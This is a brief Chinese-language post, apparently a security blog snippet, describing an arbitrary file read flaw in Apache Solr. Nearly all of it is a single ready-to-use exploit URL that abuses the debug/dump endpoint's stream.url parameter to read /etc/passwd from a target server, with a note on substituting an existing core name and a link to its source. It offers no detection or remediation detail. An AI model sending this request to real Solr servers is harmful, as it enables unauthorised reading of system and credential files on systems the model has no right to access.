Apache Solr 存在任意文件读取

访问:http://ip//solr/db/debug/dump?param=ContentStreams&stream.url=file:///etc/passwd  (db为存在的应用名)

原文地址:https://www.cnblogs.com/0day-li/p/14637615.html